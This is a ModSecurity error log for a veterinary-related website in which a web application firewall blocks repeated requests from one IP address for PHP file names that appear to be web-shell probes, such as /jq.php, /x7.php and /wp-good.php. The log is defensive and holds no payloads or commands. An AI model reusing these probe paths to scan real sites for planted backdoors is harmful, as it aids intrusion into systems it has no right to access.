[Sat Feb 28 06:39:18.453856 2026] [:error] [pid 39185:tid 39258] [client 158.158.96.194:13323] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jq.php"] [unique_id "aaIdFhVE-FfM89u7BQZSAwAAAIw"]
[Sat Feb 28 06:39:19.283095 2026] [:error] [pid 22194:tid 22196] [client 158.158.96.194:40752] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jq.php"] [unique_id "aaIdF36mbajs3bzQGysGEwAAAUA"]
[Sat Feb 28 06:39:20.589942 2026] [:error] [pid 11791:tid 11808] [client 158.158.96.194:40721] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jq.php"] [unique_id "aaIdGGuX5e1Q32gqxH2vFQAAAQ8"]
[Sat Feb 28 06:39:21.940379 2026] [:error] [pid 39184:tid 39223] [client 158.158.96.194:27696] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jq.php"] [unique_id "aaIdGVtZF9Zd_U7easA9wQAAAEQ"]
[Sat Feb 28 06:39:23.332197 2026] [:error] [pid 39185:tid 39254] [client 158.158.96.194:33204] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aaIdGxVE-FfM89u7BQZSDQAAAIg"]
[Sat Feb 28 06:39:24.729414 2026] [:error] [pid 39292:tid 39302] [client 158.158.96.194:24485] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aaIdHKIAO5fN7BxyqcFx7gAAAMg"]
[Sat Feb 28 06:39:27.660012 2026] [:error] [pid 22194:tid 22211] [client 158.158.96.194:29134] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aaIdH36mbajs3bzQGysGHwAAAU8"]
[Sat Feb 28 06:39:28.691289 2026] [:error] [pid 39292:tid 39313] [client 158.158.96.194:21595] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x7.php"] [unique_id "aaIdIKIAO5fN7BxyqcFyBAAAANM"]
[Sat Feb 28 06:39:30.756244 2026] [:error] [pid 39185:tid 39265] [client 158.158.96.194:29170] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bes.php"] [unique_id "aaIdIhVE-FfM89u7BQZSFwAAAJM"]
[Sat Feb 28 06:39:32.006149 2026] [:error] [pid 39185:tid 39252] [client 158.158.96.194:28828] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bes.php"] [unique_id "aaIdJBVE-FfM89u7BQZSHAAAAIY"]
[Sat Feb 28 06:39:33.961269 2026] [:error] [pid 39183:tid 39212] [client 158.158.96.194:42963] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bes.php"] [unique_id "aaIdJRCf4HvhVePw3LZxEAAAABQ"]
[Sat Feb 28 06:39:34.575315 2026] [:error] [pid 22194:tid 22213] [client 158.158.96.194:16959] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bes.php"] [unique_id "aaIdJn6mbajs3bzQGysGIwAAAVE"]
[Sat Feb 28 06:39:35.341779 2026] [:error] [pid 39183:tid 39202] [client 158.158.96.194:16938] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaIdJxCf4HvhVePw3LZxEwAAAAo"]
[Sat Feb 28 06:39:35.952793 2026] [:error] [pid 39183:tid 39208] [client 158.158.96.194:25556] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaIdJxCf4HvhVePw3LZxFQAAABA"]
[Sat Feb 28 06:39:36.657686 2026] [:error] [pid 11791:tid 11801] [client 158.158.96.194:16907] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaIdKGuX5e1Q32gqxH2vJgAAAQg"]
[Sat Feb 28 06:39:37.524988 2026] [:error] [pid 11791:tid 11797] [client 158.158.96.194:50874] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadd.php"] [unique_id "aaIdKWuX5e1Q32gqxH2vJwAAAQQ"]
[Sat Feb 28 06:39:38.206073 2026] [:error] [pid 39292:tid 39306] [client 158.158.96.194:22262] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaIdKqIAO5fN7BxyqcFyIAAAAMw"]
[Sat Feb 28 06:39:38.925118 2026] [:error] [pid 39185:tid 39262] [client 158.158.96.194:14566] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaIdKhVE-FfM89u7BQZSLAAAAJA"]
[Sat Feb 28 06:39:39.607456 2026] [:error] [pid 39292:tid 39316] [client 158.158.96.194:13750] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaIdK6IAO5fN7BxyqcFyJgAAANY"]
[Sat Feb 28 06:39:40.241167 2026] [:error] [pid 39292:tid 39311] [client 158.158.96.194:16279] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vgtyu.php"] [unique_id "aaIdLKIAO5fN7BxyqcFyLAAAANE"]
[Sat Feb 28 06:39:40.798900 2026] [:error] [pid 39292:tid 39314] [client 158.158.96.194:21571] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "aaIdLKIAO5fN7BxyqcFyMQAAANQ"]
[Sat Feb 28 06:39:42.600800 2026] [:error] [pid 22194:tid 22204] [client 158.158.96.194:50844] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "aaIdLn6mbajs3bzQGysGKgAAAUg"]
[Sat Feb 28 06:39:43.782734 2026] [:error] [pid 39184:tid 39238] [client 158.158.96.194:14583] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "aaIdL1tZF9Zd_U7easA91AAAAFM"]
[Sat Feb 28 06:39:45.646357 2026] [:error] [pid 22194:tid 22202] [client 158.158.96.194:23980] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/166.php"] [unique_id "aaIdMX6mbajs3bzQGysGNQAAAUY"]
[Sat Feb 28 06:39:48.341913 2026] [:error] [pid 39184:tid 39220] [client 158.158.96.194:16312] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs.php"] [unique_id "aaIdNFtZF9Zd_U7easA92AAAAEE"]
[Sat Feb 28 06:42:56.006320 2026] [:error] [pid 39185:tid 39255] [client 158.158.96.194:22485] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/05.php"] [unique_id "aaId8BVE-FfM89u7BQZTNQAAAIk"]
[Sat Feb 28 06:42:57.345664 2026] [:error] [pid 39185:tid 39268] [client 158.158.96.194:15665] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/05.php"] [unique_id "aaId8RVE-FfM89u7BQZTOQAAAJY"]
[Sat Feb 28 06:42:58.507704 2026] [:error] [pid 39292:tid 39318] [client 158.158.96.194:22406] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/05.php"] [unique_id "aaId8qIAO5fN7BxyqcF1IQAAANg"]
[Sat Feb 28 06:42:59.795348 2026] [:error] [pid 39185:tid 39267] [client 158.158.96.194:22443] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/05.php"] [unique_id "aaId8xVE-FfM89u7BQZTQAAAAJU"]
[Sat Feb 28 06:43:01.556075 2026] [:error] [pid 22194:tid 22200] [client 158.158.96.194:15654] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaId9X6mbajs3bzQGysIXAAAAUQ"]
[Sat Feb 28 06:43:04.233670 2026] [:error] [pid 39292:tid 39303] [client 158.158.96.194:19355] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaId-KIAO5fN7BxyqcF1QAAAAMk"]
[Sat Feb 28 06:43:07.405038 2026] [:error] [pid 39184:tid 39243] [client 158.158.96.194:1418] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaId-1tZF9Zd_U7easA_HwAAAFg"]
[Sat Feb 28 06:43:08.515212 2026] [:error] [pid 22194:tid 22217] [client 158.158.96.194:40974] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zxin.php"] [unique_id "aaId_H6mbajs3bzQGysIaAAAAVU"]
[Sat Feb 28 06:43:09.939021 2026] [:error] [pid 39184:tid 39240] [client 158.158.96.194:22448] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fff.php"] [unique_id "aaId_VtZF9Zd_U7easA_IQAAAFU"]
[Sat Feb 28 06:43:13.961542 2026] [:error] [pid 11791:tid 11809] [client 158.158.96.194:28041] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fff.php"] [unique_id "aaIeAWuX5e1Q32gqxH2xzQAAARA"]
[Sat Feb 28 06:43:20.678298 2026] [:error] [pid 11791:tid 11797] [client 158.158.96.194:28619] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fff.php"] [unique_id "aaIeCGuX5e1Q32gqxH2x2gAAAQQ"]
[Sat Feb 28 06:43:22.798372 2026] [:error] [pid 39292:tid 39296] [client 158.158.96.194:43009] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fff.php"] [unique_id "aaIeCqIAO5fN7BxyqcF1cAAAAMI"]
[Sat Feb 28 06:43:23.897430 2026] [:error] [pid 11791:tid 11817] [client 158.158.96.194:28637] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaIeC2uX5e1Q32gqxH2x5QAAARg"]
[Sat Feb 28 06:43:24.809770 2026] [:error] [pid 39292:tid 39318] [client 158.158.96.194:64698] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaIeDKIAO5fN7BxyqcF1egAAANg"]
[Sat Feb 28 06:43:26.267847 2026] [:error] [pid 22194:tid 22204] [client 158.158.96.194:27575] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaIeDn6mbajs3bzQGysIgwAAAUg"]
[Sat Feb 28 06:43:27.517278 2026] [:error] [pid 39292:tid 39317] [client 158.158.96.194:34583] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aaIeD6IAO5fN7BxyqcF1jAAAANc"]
[Sat Feb 28 06:43:28.328571 2026] [:error] [pid 22194:tid 22209] [client 158.158.96.194:1502] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaIeEH6mbajs3bzQGysIiQAAAU0"]
[Sat Feb 28 06:43:29.630106 2026] [:error] [pid 39292:tid 39317] [client 158.158.96.194:64691] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaIeEaIAO5fN7BxyqcF1mQAAANc"]
[Sat Feb 28 06:43:30.780246 2026] [:error] [pid 22194:tid 22206] [client 158.158.96.194:64890] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaIeEn6mbajs3bzQGysImQAAAUo"]
[Sat Feb 28 06:43:33.448557 2026] [:error] [pid 39185:tid 39257] [client 158.158.96.194:20575] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aaIeFRVE-FfM89u7BQZTXAAAAIs"]
[Sat Feb 28 06:43:34.520937 2026] [:error] [pid 22194:tid 22215] [client 158.158.96.194:20544] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iko.php"] [unique_id "aaIeFn6mbajs3bzQGysIqQAAAVM"]
[Sat Feb 28 06:43:35.502576 2026] [:error] [pid 22194:tid 22203] [client 158.158.96.194:64859] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iko.php"] [unique_id "aaIeF36mbajs3bzQGysIsgAAAUc"]
[Sat Feb 28 06:43:38.488259 2026] [:error] [pid 39292:tid 39301] [client 158.158.96.194:49860] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iko.php"] [unique_id "aaIeGqIAO5fN7BxyqcF1uAAAAMc"]
[Sat Feb 28 06:43:45.785878 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:43070] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iko.php"] [unique_id "aaIeIWuX5e1Q32gqxH2yBQAAAQI"]
[Sat Feb 28 06:43:47.055964 2026] [:error] [pid 39183:tid 39209] [client 158.158.96.194:39454] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xmy.php"] [unique_id "aaIeIxCf4HvhVePw3LZyBgAAABE"]
[Sat Feb 28 06:43:49.793161 2026] [:error] [pid 39292:tid 39295] [client 158.158.96.194:43067] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xmy.php"] [unique_id "aaIeJaIAO5fN7BxyqcF12AAAAME"]
[Sat Feb 28 06:43:50.630818 2026] [:error] [pid 39292:tid 39303] [client 158.158.96.194:39086] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xmy.php"] [unique_id "aaIeJqIAO5fN7BxyqcF12wAAAMk"]
[Sat Feb 28 06:46:51.409362 2026] [:error] [pid 22194:tid 22203] [client 158.158.96.194:62020] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/e.php"] [unique_id "aaIe236mbajs3bzQGysKTgAAAUc"]
[Sat Feb 28 06:46:52.883277 2026] [:error] [pid 39183:tid 39214] [client 158.158.96.194:40706] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/e.php"] [unique_id "aaIe3BCf4HvhVePw3LZybgAAABY"]
[Sat Feb 28 06:46:53.847800 2026] [:error] [pid 22194:tid 22216] [client 158.158.96.194:62036] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/e.php"] [unique_id "aaIe3X6mbajs3bzQGysKVQAAAVQ"]
[Sat Feb 28 06:46:54.578012 2026] [:error] [pid 39292:tid 39317] [client 158.158.96.194:14877] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/e.php"] [unique_id "aaIe3qIAO5fN7BxyqcF3zgAAANc"]
